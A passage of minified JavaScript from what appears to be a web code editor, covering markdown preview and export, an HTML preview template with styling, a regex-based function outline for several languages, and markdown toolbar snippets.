.content").html(n)}i.find(".markdown_help").toggleClass("hidden");break;case"tool_markdown_max":i.toggleClass("markdown_full_page"),i.hasClass("markdown_full_page")||m();break;case"tool_open_url":b();break;case"tool_refresh":N();break;case"tool_close":w();break;case"tool_markdown_help":break;default:}return stopPP(t),!1})},v=function(e){var l=0;if(a.removeClass("hidden"),o.addClass("hidden"),r.addClass("hidden"),s.addClass("hidden"),i.find(".resize").removeClass("hidden"),"function_list"==e)o.removeClass("hidden"),l=200,u.refresh(),a.find(".function_search input").focus();else if("markdown"==e)l=.51*$(window).width(),r.removeClass("hidden"),p.refresh(),d.bindEvent(i,t);else if("html"==e){l=.5*$(window).width(),s.removeClass("hidden");var c=t.kod.filename;c=core.path2url(c),a.find(".preview_url_tool input").val(c),a.find("iframe").attr("src",c)}a.css({width:l}),n.css({width:$(window).width()-l}),m()},g=function(){o.hasClass("hidden")?r.hasClass("hidden")||p.refresh():u.refresh()},b=function(e){if(r.hasClass("hidden"))window.open(i.find(".preview_url_frame input").attr("value"));else{var t=p.markdown2html(i.find(".markdown_preview").html()),a=window.open("","_blank","");a.document.open("text/html","replace"),a.opener=null,a.document.write(t),a.document.close()}stopPP(e)},y=function(){return u.support(t.kod.mode)?(o.hasClass("hidden")?(auto_function_list=1,v("function_list")):(auto_function_list=0,w()),Editor.saveConfig("function_list",auto_function_list),void 0):(Tips.tips(LNG.not_support,"warning"),void 0)},k=function(){a.hasClass("hidden")?x()||v("html"):r.hasClass("hidden")&&v("html")},x=function(){return auto_function_list&&u.support(t.kod.mode)?(v("function_list"),!0):"markdown"==t.kod.mode?(v("markdown"),!0):!1},w=function(){(s.hasClass("hidden")||!x())&&(a.addClass("hidden"),o.addClass("hidden"),r.addClass("hidden"),s.addClass("hidden"),i.find(".resize").addClass("hidden"),$(".markdown_full_page").removeClass("markdown_full_page"),n.css("width","100%"),Editor.doAction("resize"))},N=function(){var e=i.find(".preview_url_tool input"),t=e.attr("value");i.find(".open_ie").attr("href",t),i.find("iframe").attr("src",t)},L=function(){h(),_(),x();var e,n=function(){clearTimeout(e),e=!1,e=setTimeout(function(){o.is(":visible")&&(a.width(a.attr("data-size-width")),m())},10)};$(window).bind("resize",n),d.bindEvent(i,t)};return L(),{open:v,editChange:g,close:w,resize:m,openFunctionList:y,previewForce:k}}}),define("app/src/edit/preview_markdown",[],function(e){var t=function(e){var t="";return e.find("h1,h2,h3,h4,h5,h6").each(function(){var e="markdown-"+$(this).text().replace(/\s+/g,"-"),i="markdown_menu_"+$(this)[0].tagName.toLowerCase();$(this).attr("data-link","#"+e),t+='<li class="'+i+'"><a href="#'+e+'">'+$(this).text()+"</a></li>"}),t="<div class='markdown_menu'><ul>"+t+"</ul></div>"},i=function(e){e.find("a").attr("target","_blank");var i="<p>[TOC]</p>";if(-1!=e.html().indexOf(i)){var a=t(e),n=e.html();n=n.replace(i,a),e.html(n)}},a=function(){$(".edit_right_frame .markdown_menu a").die("click").live("click",function(e){stopPP(e);var t=$(this).parents(".right_main"),i=t.find("[data-link='"+$(this).attr("href")+"']");if(0!=i.length){var a=i.offset().top+t.scrollTop()-t.offset().top+"px";t.stop(!0).animate({scrollTop:a},100,"linear")}})},n=function(t,i){e.async("lib/markdown/highlight.min",function(){t.find("pre code").each(function(e,t){hljs.highlightBlock(t),"function"==typeof i&&i()})})},o=function(t,i){e.async(["lib/markdown/katex/katex.min.js","lib/markdown/katex/katex.min.css","lib/markdown/katex/contrib/auto-render.min.js"],function(){renderMathInElement(t[0],[{left:"$$",right:"$$",display:!0}]),$(".katex-display").parent().addClass("markdown-latex"),t.find(".language-latex,.language-math,.language-katex").each(function(){try{var e=katex.renderToString($(this).text());if("string"!=typeof e)return;e='<div class="markdown-latex">'+e+"</div>",$(e).insertBefore($(this).parent()),$(this).parent().remove()}catch(t){}}),"function"==typeof i&&i()})},s=function(){var e="newfile",t=Editor.current().kod.filename;return""!=t&&(t=core.pathThis(t),e=t.substr(0,t.indexOf("."))),e},r=function(t){var i=e("./tpl/markdown_preview.html"),a=template.compile(i),n=a({addStyle:G.app_host+"static/js/lib/markdown/katex/katex.min.css",content:t,title:s(),black_theme:Editor.isBlackTheme()});return n=n.replace(/ data-link="#(.*?)">/g,'><a name="$1" id="$1"></a>')},l=function(e,t){var i=s()+"."+t;switch(t){case"html":$.htmlDownload(r(e),i);break;case"md":var a=Editor.current(),n=a.getValue();$.htmlDownload(n,i);break;case"pdf":$.htmlPrint(r(e));break;default:}};return function(){var s,c,d,p,u=!1,f=!1,h=function(){if(s=Editor.current(),s&&void 0!==s.focus){var e=s.kod.uuid;c=$("#"+e).parent().find(".markdown_preview"),d=$("#"+e).parent().find(".edit_right_frame .right_main"),v(),_(),a()}},m=function(t){e.async("lib/markdown/markdown-it.min",function(){if(c&&0!=c.length){var e=window.markdownit({html:!0,breaks:!0}),a=s.getValue(),r=e.render(a),l=$(".markdown_make_buffer");0==l.length&&($("<div class='markdown_make_buffer hidden'></div>").appendTo("body"),l=$(".markdown_make_buffer")),l.html(r),i(l),n(l,function(){c.html(l.html())}),(0==c.html().length||t===!0)&&c.html(l.html()),c.html(l.html()),o(l,function(){c.html(l.html()),l.remove(),x()})}})},_=function(){var e,t=function(){return!d.find(".preview_markdown_frame").hasClass("hidden")};s.session.on("changeScrollTop",function(){!f&&t()&&(u=!0,w(!0),clearTimeout(e),e=!1,e=setTimeout(function(){u=!1},1e3))}),s.on("change",function(){!f&&t()&&(u=!0,x(function(){w(!0),clearTimeout(e),e=!1,e=setTimeout(function(){u=!1},1e3)}))})},v=function(){return},g=[],b=[],y=function(){if(void 0!==s.kod.mode&&"markdown"==s.kod.mode){g=[];for(var e="\n...\n"+s.getValue(),t=0,i=window.markdownit(),a=i.parse(e,{references:{}}),n=["h1","h2","h3","h4","h5","h6"],o=0;a.length>o;o++)if($.inArray(a[o].tag,n)>=0&&"heading_open"==a[o].type){var r=s.session.documentToScreenPosition(a[o].map[0]-1,2),l=r.row*s.renderer.lineHeight;g.push({start:t,end:l,height:l-t}),t=l}}},k=function(){if(d&&0!=d.length){b=[];var e=0,t=d.scrollTop();c.find("h1,h2,h3,h4,h5,h6").each(function(){var i=$(this).position().top+t+parseInt($(this).css("margin-top"));b.push({start:e,end:i,height:i-e}),e=i})}},x=function(e){clearTimeout(p),p=!1,p=setTimeout(function(){y(),k(),"function"==typeof e&&e()},200)},w=function(e){var t=s.session.getScrollTop(),i=d.scrollTop(),a=function(e,t,i,a){for(var n,o=-1,s=0;e.length>s&&(o=s,n=e[s],!(e[s].end>t));s++);if(!(-1===o||o>=i.length)){var r=(t-n.start)/n.height,l=i[o],c=l.start+l.height*r;o==e.length-1&&t>=n.end-5&&(c=l.end),a(c)}};e?a(g,t,b,function(e){d.stop(!0).animate({scrollTop:e},100,"linear")}):i+d.height()>=d.prop("scrollHeight")-5?s.gotoLine(s.session.getLength()):a(b,i,g,function(e){s.session.setScrollTop(e)})};return h(),{refresh:m,refreshScroll:x,markdownMenu:t,markdown2html:r,markdownDownload:l}}}),define("app/src/edit/tpl/markdown_preview.html",[],'<!doctype html><html>\n<head><meta charset="utf-8">\n <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes">\n <head><title>{{title}}</title>\n</head>\n<link rel="stylesheet" type="text/css" href="{{addStyle}}">\n<style type="text/css">\n body{\n font-family:"Helvetica Neue","Helvetica","Microsoft Yahei","微软雅黑","Lantinghei SC","STXihei","WenQuanYi Micro Hei",Arial,sans-serif;\n text-align:justify;margin:auto;font-size:14px;line-height:1.6em;\n color:#333;background:#fefefe;padding:15px;margin:30px auto;position: relative;\n -webkit-font-smoothing: antialiased;font-smoothing: antialiased;\n }\n \n article,footer,header,nav{width:700px;margin:0 auto}\n article{margin-top:4em;margin-bottom:4em;min-height:400px}\n footer{margin-bottom:50px}\n video{margin:2em 0;border:1px solid #ddd}\n nav{font-size:.9em;font-style:italic;border-bottom:1px solid #ddd;padding:1em 0}\n nav p{margin:0}\n details{margin: 15px 0;}\n summary{cursor:pointer;padding: 4px;}\n summary:focus{outline: none;box-shadow: 0 0 3px #2196F3;}\n .h1,h1{font-size:2.2em;}\n .h2,h2{font-size:1.9em;}\n .h3,h3{font-size:1.6em;}\n .h4,h4{font-size:1.3em;}\n .h5,h5{font-size:1.2em;}\n .h6,h6{font-size:1.1em;}\n .h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{\n font-family:inherit;font-weight:500;color: #333;\n line-height:1.5em;padding:0;margin:1em 0 0.5em 0;\n }\n .h1,h1{letter-spacing: 1px;border-bottom: 1px solid #ddd;}\n .h2,h2{padding-bottom: 0.15em;}\n p{-webkit-hypens:auto;-moz-hypens:auto;hyphens:auto;margin:10px 0;word-wrap: break-word;}\n blockquote{margin-left:1em;padding:10px 20px;margin:10px 0 20px 0;border-left:10px solid #ddd;background: #f6f6f6;}\n blockquote p{margin:0;}\n code{\n padding: 2px 4px;color: #c7254e;background-color:#f9f2f4;border-radius: 4px;\n }\n pre{display:block;padding:0;overflow:auto;margin:0 0 10px;font-size:1em;line-height:1.42857143;\n word-break:break-all;word-wrap:break-word;color:#333;background:none;border-radius:4px}\n code,kbd,pre,samp{\n font-family:Consolas,\'Liberation Mono\',\'Ubuntu Mono\',Menlo,Courier,sans-serif;\n }\n pre code{background:#f8f8f8;color:#777;white-space:pre-wrap;padding:6px 1em;border:1px solid #eee;display: block;}\n a{color:#1980e6;text-decoration:none}\n a:hover{text-decoration:underline}\n a img{border:none}\n img{max-width: 100%;}\n h1 a,h1 a:hover{text-decoration:none}\n hr{border: 0 none;height: 4px;margin:1.2em 0;\n background: rgba(0, 0, 0, 0) url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAECAYAAACtBE5DAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBNYWNpbnRvc2giIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OENDRjNBN0E2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OENDRjNBN0I2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4Q0NGM0E3ODY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4Q0NGM0E3OTY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqqezsUAAAAfSURBVHjaYmRABcYwBiM2QSA4y4hNEKYDQxAEAAIMAHNGAzhkPOlYAAAAAElFTkSuQmCC) repeat-x 0 0;\n }\n \n @media screen and (min-width: 900px) {\n body {width: 900px;}\n }\n ul,ol{padding: 0.5em 0 0.5em 3em;}\n table {border-collapse: collapse;border-spacing: 0;margin-bottom: 20px;}\n table thead{background: #eee;}\n table td,table th{padding: .5em;border: 1px solid #ddd;line-height: 1.5;}\n .markdown-latex {text-align: center;margin-bottom: 1.5em;font-size:1.6em;color: #000;}\n .latex-inline .katex-display{display:inline-block;font-size: 0.8em;}\n .markdown_menu ul{padding:0 10px 20px 20px;}\n .markdown_menu li{\n font-size:14px;list-style:none;\n line-height:1.8em;overflow: hidden;text-overflow: ellipsis;white-space: nowrap;\n }\n .markdown_menu_h2{padding-left:2em;}\n .markdown_menu_h3{padding-left:4em;}\n .markdown_menu_h4{padding-left:6em;}\n .markdown_menu_h5{padding-left:8em;}\n .markdown_menu_h6{padding-left:10em;}\n\n div .hljs{color: #666;}\n .hljs-comment,.hljs-quote {color: #8e908c;}\n .hljs-variable,.hljs-template-variable,.hljs-tag,.hljs-name,.hljs-selector-id,\n .hljs-selector-class,.hljs-regexp,.hljs-deletion {color: #c82829;}\n .hljs-number,.hljs-built_in,.hljs-builtin-name,.hljs-literal,.hljs-type,\n .hljs-params,.hljs-meta,.hljs-link {color: #f5871f;}\n .hljs-attribute {color: #eab700;}\n .hljs-string,.hljs-symbol,.hljs-bullet,.hljs-addition {color: #718c00;}\n .hljs-title,.hljs-section {color: #4271ae;}\n .hljs-keyword,.hljs-selector-tag {color: #8959a8;}\n .hljs {display: block;overflow-x: auto;color: #4d4d4c;padding: 0.5em;}\n .hljs-emphasis {font-style: italic;}\n .hljs-strong {font-weight: bold;}\n\n\n /* black theme */\n body.code_theme_black{background:#333;color:#bbb}\n body.code_theme_black blockquote{border-color:#444;border-color:rgba(200,200,200,.1);background:#444;background:rgba(200,200,200,.1)}\n body.code_theme_black code,body.code_theme_black pre,body.code_theme_black pre code{color:#777;border-color:#444;border-color:rgba(0,0,0,.1);background:#444;background:rgba(0,0,0,.1)}\n body.code_theme_black code{color:#C5AC18;background:#555;background:rgba(255,255,255,0.15);}\n body.code_theme_black a{color:orange}\n\n body.code_theme_black .h1,body.code_theme_black h1,\n body.code_theme_black .h2,body.code_theme_black h2,\n body.code_theme_black .h3,body.code_theme_black h3,\n body.code_theme_black .h4,body.code_theme_black h4,\n body.code_theme_black .h5,body.code_theme_black h5,\n body.code_theme_black .h6,body.code_theme_black h6{\n color: #fff;\n }\n body.code_theme_black hr{border-bottom:solid 1px #444;border-color:rgba(200,200,200,.1);background-image:none;}\n body.code_theme_black table thead{background: #3e3e3e;}\n body.code_theme_black table td,body.code_theme_black table th{border-color:#444;border-color:rgba(200,200,200,.1)}\n body.code_theme_black .markdown-latex {color: #fff;}\n body.code_theme_black div .hljs{display:block;overflow-x:auto;padding:.5em;background:#23241f}\n body.code_theme_black .hljs,body.code_theme_black .hljs-subst,body.code_theme_black .hljs-tag{color:#f8f8f2}\n body.code_theme_black .hljs-emphasis,body.code_theme_black .hljs-strong{color:#a8a8a2}\n body.code_theme_black .hljs-bullet,body.code_theme_black .hljs-link,body.code_theme_black .hljs-literal,body.code_theme_black .hljs-number,body.code_theme_black .hljs-quote,body.code_theme_black .hljs-regexp{color:#ae81ff}\n body.code_theme_black .hljs-code,body.code_theme_black .hljs-section,body.code_theme_black .hljs-selector-class,body.code_theme_black .hljs-title{color:#a6e22e}\n body.code_theme_black .hljs-strong{font-weight:700}\n body.code_theme_black .hljs-emphasis{font-style:italic}\n body.code_theme_black .hljs-attr,body.code_theme_black .hljs-keyword,body.code_theme_black .hljs-name,body.code_theme_black .hljs-selector-tag{color:#f92672}\n body.code_theme_black .hljs-attribute,body.code_theme_black .hljs-symbol{color:#66d9ef}\n body.code_theme_black .hljs-class .hljs-title,body.code_theme_black .hljs-params{color:#f8f8f2}\n body.code_theme_black .hljs-addition,body.code_theme_black .hljs-built_in,body.code_theme_black .hljs-builtin-name,body.code_theme_black .hljs-selector-attr,body.code_theme_black .hljs-selector-id,body.code_theme_black .hljs-selector-pseudo,body.code_theme_black .hljs-string,body.code_theme_black .hljs-template-variable,body.code_theme_black .hljs-type,body.code_theme_black .hljs-variable{color:#e6db74}\n body.code_theme_black .hljs-comment,body.code_theme_black .hljs-deletion,body.code_theme_black .hljs-meta{color:#75715e}\n\n .print-btn{\n position:absolute;padding:4px 20px;color:#444;font-size:1em;\n background:#eee;background:rgba(200,200,200,0.2);margin-top: -45px;right:15px;\n }\n .print-btn:hover{text-decoration: none;background: #14a2ff;color: #fff;}\n @media print {\n .print-btn{display: none;}\n }\n</style>\n<body {{if black_theme}}class="code_theme_black"{{/if}}>\n<a href="javascript:window.print();" class="print-btn">Print</a>\n\n{{#content}}\n</body>\n<html>\n\n'),define("app/src/edit/function_list",[],function(){var e={php:[{reg:/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,reg_name:/.*function\s+(.*\))/,reg_index:1,type_extents:{function_value:/\s*(private|protected)\s*/,function_var:/\s*(public)\s*/},type:"function"},{reg:/\s*class\s+(\w*)\s*.*\{/g,reg_name:/\s*class\s+(\w*)\s*.*\{/,reg_index:1,type:"class"}],javascript:[{reg:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*(.*)/,reg_index:1,reg_name_all:[1,2],type:"function function_var"},{reg:/\s*function\s+([\w\s]+)\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*function\s+([\w\s]+)\s*(.*)/,reg_index:1,reg_name_all:[1,2],type:"function function_define"},{reg:/\s*([\w\.]+)\s*:\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*([\w\.]+)\s*:\s*function\s*(\([\w,\s\*\[\]\<\>&$]*\))/,reg_index:1,reg_name_all:[1,2],type:"function function_value"}],python:[{reg:/\s*class\s+(\w+)\s*\(/g,reg_name:/\s*class\s+(\w+)\s*\(/,reg_index:1,type:"class"},{reg:/\s*def\s+(\w+)\s*\(.*\)/g,reg_name:/\s*def\s+(\w+)\s*\(.*\)/,reg_index:1,type:"function"}],ruby:[{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"},{reg:/\s*def\s+(\w+)\s*/g,reg_name:/\s*def\s+(\w+)\s*/,reg_index:1,type:"function"}],golang:[{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"},{reg:/\s*func\s+(\w+)\s*.*\{/g,reg_name:/\s*func\s+(\w+)\s*/,reg_index:1,type:"function"}],java:[{reg:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/g,reg_name:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/,reg_index:3,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"}],csharp:[{reg:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/g,reg_name:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/,reg_index:2,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"}],actionscript:[{reg:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/g,reg_name:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/,reg_index:1,type:"function"},{reg:/\s*class\s+(\w+)\s*.*\{/g,reg_name:/\s*class\s+(\w+)\s*.*\{/,reg_index:1,type:"class"}],objectivec:[{reg:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/g,reg_name:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/,reg_index:1,type:"function"},{reg:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/g,reg_name:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/,reg_index:1,type:"function"},{reg:/@implementation\s+(\w*)/g,reg_name:/@implementation\s+(\w*)/,reg_index:1,type:"class"},{reg:/#pragma\s+(mark\s+)?(.*)/g,reg_name:/#pragma\s+(mark\s+)?(.*)/,reg_index:2,type:"mark"}],c_cpp:[{reg:/([\w*]+\s+)+\*?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,reg_name:/\s+(\w+)\s*\(/,reg_index:1,type:"function"},{reg:/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,reg_name:/\s*(\w+)::~?(\w+)\s*\(/,reg_index:2,type:"function function_define"},{reg:/\s*class\s+(\w+)\s*:/g,reg_name:/\s*class\s+(\w+)\s*:/,reg_index:1,type:"class"}]},t=function(e,t){var i=e.match(t.reg); if(i){for(var a=[],n=i.length,o=0,s=e,r=0;n>r;r++){var l={};l.the_match=i[r];var c=l.the_match.match(t.reg_name);if(c&&!(c.length<t.reg_index)&&c[t.reg_index]){l.name=c[t.reg_index];var d=s.indexOf(l.the_match),p=l.the_match.indexOf(l.name);if(l.pos_start=o+d+p,l.pos_end=l.pos_start+l.name.length,t.reg_name_all!==void 0){l.name="";for(var u=t.reg_name_all,f=0;u.length>f;f++)l.name+=c[u[f]]}o=o+d+l.the_match.length,s=e.substr(o),l.type=t.type,t.type_extents!==void 0&&$.each(t.type_extents,function(e,t){l.the_match.match(t)&&(l.type+=" "+e)}),a.push(l)}}return a}},i=function(i,a){if(void 0!==e[a]){for(var n=e[a],o=[],s=0;n.length>s;s++){var r=t(i,n[s]);r&&Array.prototype.push.apply(o,r)}o.sort(function(e,t){var i="pos_start";return e[i]<t[i]?-1:e[i]>=t[i]?1:void 0});for(var l=i.split("\n"),c=0,d=o[c],p=0,u=0;l.length>u&&d;u++){for(;d&&d.pos_start>=p&&d.pos_start<=p+l[u].length;)o[c].range={start:{row:u,column:d.pos_start-p},end:{row:u,column:d.pos_end-p}},c++,d=o[c];p=p+l[u].length+1}return o}},a=function(e){return e=e.replace(/[\r\n {]+/gi," "),e=e.replace(/"/gi,"'"),e=e.replace(/\</gi,"&lt;"),e=e.replace(/\>/gi,"&gt;")};return function(t){var n="",o='<div class="cell_null">No outline for the active view</div>',s=$("#"+t.kod.uuid).parent(),r=s.find(".function_search input"),l=s.find(".function_list_box"),c=function(){var e=Editor.current();if(!e||e.kod===void 0)return l.html(o),void 0;var t=function(e){var t=e.replace(/(^\s*)|(\s*$)/g,"");return t.replace(/(\{$)/,"")},s=e.kod.mode,c=i(e.getValue(),s);if(c===void 0||0==c.length)return l.html(o),void 0;var p=e.getCursorPosition().row;n="";for(var f=0;c.length>f;f++){var h=c[f],m=h.range;if(m){c.length-1>f&&p>=c[f].range.start.row&&c[f+1].range&&c[f+1].range.start.row>p&&(h.type+=" row_select"),f==c.length-1&&p>=c[f].range.start.row&&(h.type+=" row_select");var _=m.start.row+","+m.start.column+","+m.end.row+","+m.end.column,v=t(t(h.the_match)).substr(0,150);n+='<div class="list_row '+a(h.type)+' " title="'+a(v)+'" data-range="'+_+'">'+'<span class="icon"></span>'+'<span class="cell">'+a(h.name)+"</span></div>"}}r.val()||d(r.val()),u()},d=function(e){if(""==n)return l.html(o),void 0;if(!e||""==e)return l.html(n),u(),void 0;var t=$("<div>"+n+"</div>");t.find(".cell").each(function(){var t=$(this).text(),i=t.toLowerCase().indexOf(e.toLowerCase());-1!=i?(t=t.substr(0,i)+"<b>"+t.substr(i,e.length)+"</b>"+t.substr(i+e.length),$(this).html(t)):$(this).parent().remove()}),l.html(t.html()),p($(l.find(".list_row").get(0)))},p=function(e){if(1==e.length){l.find(".list_row").removeClass("row_select"),e.addClass("row_select");var t=e.attr("data-range"),i=t.split(","),a={start:{row:parseInt(i[0]),column:parseInt(i[1])},end:{row:parseInt(i[2]),column:parseInt(i[3])}};Editor.current()&&(Editor.current().revealRange(a),r.textFocus())}},u=function(){var e=l;if(e.outerHeight()!=e.prop("scrollHeight")){var t=e.scrollTop(),i=t+e.height(),a=e.find(".row_select").index(),n=e.find(".list_row:eq(0)").outerHeight(),o=e.scrollTop();t>a*n?o=a*n:(a+1)*n>i&&(o=a*n-e.height()+n),e.scrollTop(o)}},f=function(){var e="mouse_is_down";l.delegate(".list_row","mouseover mousedown mouseout mouseup",function(t){var i=$(this);switch(t.type){case"mouseover":i.parent().hasClass(e)?p(i):i.addClass("row_hover");break;case"mousedown":p(i),i.parent().addClass(e);break;case"mouseout":i.removeClass("row_hover");break;case"mouseup":i.parent().removeClass(e);break;default:}}),l.bind("mouseup",function(){r.textFocus()}),l.bind("mousedown",function(t){return 1!=t.which?!0:(l.setCapture&&l.setCapture(),$(document).one("mouseup",function(){l.removeClass(e),l.releaseCapture&&l.releaseCapture()}),void 0)});var t=function(){var e=r.val();d(e),""==e?s.find(".search_reset").addClass("hidden"):s.find(".search_reset").removeClass("hidden")};r.unbind("keydown").bind("keydown",function(e){switch(e.keyCode){case 37:break;case 39:break;case 38:0!=s.find(".row_select").prev().length&&(p(s.find(".row_select").prev()),u()),stopPP(e);break;case 40:0!=s.find(".row_select").next().length&&(p(s.find(".row_select").next()),u()),stopPP(e);break;case 27:case 13:p(s.find(".row_select")),r.val(""),t(),Editor.current()&&Editor.current().focus(),stopPP(e);break;default:setTimeout(t,5)}}),s.find(".search_reset").unbind("click").bind("click",function(){r.val(""),t(),Editor.current()&&Editor.current().focus()})};return f(),{refresh:c,support:function(t){return-1==$.inArray(t,objectKeys(e))?!1:!0}}}}),define("app/src/edit/markdownTools",[],function(){var e=function(){return Editor.current()},t={bold:{type:"inline",tag:"**",insert:"**${1:Bold Text}**",title:"Bold<Strong> (Ctrl-B)","class":"bold"},italic:{type:"inline",tag:"*",insert:"*${1:Italic Text}*",title:"Italic<em> (Ctrl-I)","class":"italic"},strikethrough:{type:"inline",tag:"~~",insert:"~~${1:Strikethrough Text}~~",title:"Strikethrough<del>","class":"strikethrough"},h1:{type:"head",insert:"# ",title:"Header 1 <h1>","class":"text-height"},h2:{type:"head",insert:"## ",title:"Header 2 <h2>"},h3:{type:"head",insert:"### ",title:"Header 3 <h3>"},h4:{type:"head",insert:"#### ",title:"Header 4 <h4>"},h5:{type:"head",insert:"###### ",title:"Header 5 <h5>"},quote:{type:"head",insert:"> ",title:"Quote <blockquote> (Ctrl-Q)","class":"quote-left"},list_order:{type:"head",insert:" 1. ",title:"Unordered list <ol> (Ctrl-O)","class":"list-ol"},list_unorder:{type:"head",insert:" - ",title:"Ordered list <ul> (Ctrl-U)","class":"list-ul"},list_task:{type:"head",insert:"- [ ] ",title:"Incomplete task list","class":"check-empty"},list_task_complete:{type:"head",insert:"- [x] ",title:"Complete task list","class":"check"},line:{type:"insert",insert:"\n\n\n----\n$1",title:"Line <hr>","class":"minus"},link:{type:"insert",insert:"[${1:}](http://$2)",title:"Link <a> (Ctrl-L)","class":"link"},image:{type:"image",insert:"![${1:}](http://$2)",title:"Image <img> (Ctrl-G)","class":"picture"},table:{type:"insert",insert:"\n\n\n| header 1 | header 2 |\n| ----------- | ----------- |\n| row 1 col 1 | row 1 col 2 |\n| row 2 col 1 | row 2 col 2 |\n\n",title:"Table <table>","class":"table"},code:{type:"inlineBlock",title:"Code <pre><code> (Ctrl-K)","class":"code",inline:{tag:"`",insert:"`${1:Code}`"},block:{tag:"\n```\n",insert:"\n```\n${1:code}\n```\n"}},math:{type:"inlineBlock",title:"Math (Ctrl-M)","class":"superscript",inline:{tag:"$$",insert:"$$${1:Math}$$"},block:{tag:"\n```\n",insert:"\n```math\n${1:}\n```\n"}}},i=function(e,t){var i=e.session.getTextRange(e.getSelectionRange()),a=t.insert;if(""!==i&&(a=a.replace(/\{1:.*\}/g,"{1:"+i+"}")),""!==i){var n=e.getSelectionRange(),o={start:{row:n.start.row,column:n.start.column-t.tag.length},end:n.start},s={start:n.end,end:{row:n.end.row,column:n.end.column+t.tag.length}};e.session.getTextRange(o)==t.tag&&e.session.getTextRange(s)==t.tag&&(e.selection.setSelectionRange({start:o.start,end:s.end}),a="${1:"+i+"}")}ace.snippetManager.insertSnippet(e,a)},a=function(e,t){for(var i=e.getSelectionRange(),a=[],n=i.end.row-i.start.row+1,o=0,s=0;n>s;s++){var r={start:{row:i.start.row+s,column:0},end:{row:i.start.row+s,column:t.insert.length}};a.push(r),e.session.getTextRange(r)==t.insert&&o++}for(var s=0;n>s;s++){var l=a[s];n==o?e.session.doc.remove(l):e.session.doc.insert({row:l.start.row,column:0},t.insert)}},n=function(e,t){var i=e.session.getTextRange(e.getSelectionRange()),a=t.insert;""!==i&&(a=a.replace(/\{1:.*\}/g,"{1:"+i+"}")),ace.snippetManager.insertSnippet(e,a)},o=function(e,t){var a=e.session.getTextRange(e.getSelectionRange()),n=e.getSelectionRange(),o=e.session.getLine(n.start.row),s={type:"inline",tag:t.inline.tag,insert:t.inline.insert,title:t.title};(n.start.row!=n.end.row||a===o.replace(/(^\s*)|(\s*$)/g,""))&&(s={type:"inline",tag:t.block.tag,insert:t.block.insert,title:t.title}),i(e,s)},s=function(){var e=["bold","italic","strikethrough","|","h1","line","quote","list_order","list_unorder","|","link","image","code","table","math"],i="";return $.each(e,function(e,a){if("|"==a)i+="<span class='md-tools md-tools-split'>|</span>";else{var n=t[a],o="class='md-tools md-tools-"+a+" "+(n["class"]?"icon-"+n["class"]:"")+"' ";i+="<a href='javascript:void(0);' title='"+n.title+"' "+o+" 